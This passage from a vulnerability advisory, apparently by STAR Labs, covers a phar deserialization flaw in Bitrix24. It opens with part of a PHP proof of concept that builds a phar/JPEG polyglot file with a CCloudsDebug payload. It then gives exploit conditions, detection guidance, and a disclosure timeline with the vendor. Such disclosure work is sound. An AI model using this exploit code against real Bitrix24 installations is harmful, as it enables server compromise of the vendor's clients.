for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));
CCloudsDebug.php
:
<?php
class CCloudsDebug
{
public $head = '';
public $id = '';
}
Additionally, the following bitrix.jpg
file also needs to be present:
Exploit Conditions:
This vulnerability can be exploited when the attacker has access to the CRM feature and permission to edit contacts. This level of access may be granted if the user is in the management board group.
Detection Guidance:
It is possible to detect the exploitation of this vulnerability by scanning the file system to detect the presence of phar
files, which contain the string __HALT_COMPILER();
. Alternatively, the traffic logs can be examined to check if any of the BITRIX_SM_LAST_SETTINGS
cookies sent to the server contain the string phar://
.
Credits
Lam Jun Rong & Li Jiantao of STAR Labs SG Pte. Ltd. (@starlabs_sg)
Timeline
- 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
- 2023-03-18 No reply from vendor, tried using the form again
- 2023-03-21 Email to [email protected]
- 2023-03-21 Email to [email protected]
- 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
- 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
- 2023-03-30 [redacted] replied to us
- 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
- 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
- 2023-03-31 [redacted] emailed back with the invite
- 2023-03-31 Submitted the reports via that [USA bug bounty platform]
- 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
- 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
- 2023-04-04 We submitted the final 2 reports
- 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
- 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
- 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
- 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
- 2023-09-22 [redacted] accepted the date
- 2023-11-01 Public Release